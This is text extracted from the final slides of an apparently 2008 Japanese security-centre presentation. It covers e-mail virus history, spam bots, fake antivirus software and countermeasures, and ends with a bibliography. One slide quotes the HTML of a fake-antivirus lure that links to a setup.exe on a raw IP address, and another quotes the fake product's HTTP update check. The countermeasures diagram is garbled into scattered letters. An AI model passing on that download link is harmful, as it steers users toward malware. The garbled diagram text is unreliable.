In the old days
E-mail attachment virus was prevalent in 2004
Three-way struggle (MyDoom, Bagle, NetSky)
Virus sent e-mails by directly connecting to SMTP server-> Controlled by FW ACLs-> Virus connected to local SMTP server for spamming
JSOC Report
Trend of critical incidents in JSOC

In this day and age
Example: Modern age of infection
After infection, virus connected to a Web server and got address lists,
and then, sent 6,000 spam e-mails per 60 seconds.

2002

2003

2004

2005

2006

2007

JPCERT/CC Report
http://www.jpcert.or.jp/research/2008/inoculation_200808.pdf

73

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Fake Antivirus Software<center><font color="#FF0000"><ahref="http://89.187.49.18/setup.exe"><b><fontsize="+4">Best Antivirus For Windows XP or Vista<b></a></font><style>74

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Updating Antivirus XP 2008
GET /updates/check.html HTTP/1.1
Accept: */*UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AntivirXP08; .NET CLR 1.1.4322; .NET
CLR 2.0.50727)
Host: www.antivirusxp-2008.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/0.6.26
Date: Sun, 17 Aug 2008 16:43:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Last-Modified: Fri, 07 Mar 2008 18:45:48 GMT
Accept-Ranges: bytes
Content-Length: 87<pre>
APP_VER=3.5.1.20
DATABASE_VER=3.5.1.20
SIGNATURES=60532
DATE=17/12/07</pre>

75

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Countermeasures

76

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

The Weakest Link in the Chain is Where It Breaks
Partial optimization

Total optimization- Security level depends on individual skills- Attackers penetrate the weakest linkto launch further attacks

Security implementation for all aspects
in visualizing structural reform of
entire IT landscape

Security

Security
Security

Security

Application Application Application

Application Application Application

ServerServerServerServerNetwork

Network

Network

Network77

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Countermeasures

(3)

n

tio
a
r
e
op

l co
a
t
n
me

art

(2)

(1)
ure
Sec

gn
i
s
e
d

ion
t
a
t
en
m
e
l
p

im

ems
t
s
y
to s
n
i
y
rit
res
u
u
c
s
e
a
ts
me
sure
t
a
s
Buil
e
u
m
b
- Ro ncident
ney
o
i
m
e
ore
er-th
t
m
f
n
A
eve
s
e
tak

V is

ti
a
z
i
l
ua

dep
r
e
t
In

on

tion
c
A
&
m
s
g
i
itorin mechan plannoM-find e action
o
t
sy
ns
o
p
- Ea
s
nt re
e
d
i
c
- In

78

g
ainin
r
T
&
g
arin
ring
h
a
s
h
S
ing
ge
n
i
d
a
e
r
l
et
ow
- Kn respons
ent
d
i
c
n
I

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Bibliography
JSOC Report• http://www.lac.co.jp/info/jsoc_report/

Secure Site Checker Free• http://www.lac.co.jp/info/sscf.html

Aguse• http://www.aguse.jp/

VirusTotal• http://www.virustotal.com/jp/

79

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Thank you

Not because you couldn’t notice,because it’s invisible.

Hiroshi Kawaguchi, CISSP
JSOC Chief Evangelist
Japan Security Operation Center
Little eArth Corporation Co., Ltd.
hiroshi.kawaguchi @ lac.co.jp
Little eArth Corporation Co.,Ltd.
http://www.lac.co.jp

80

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.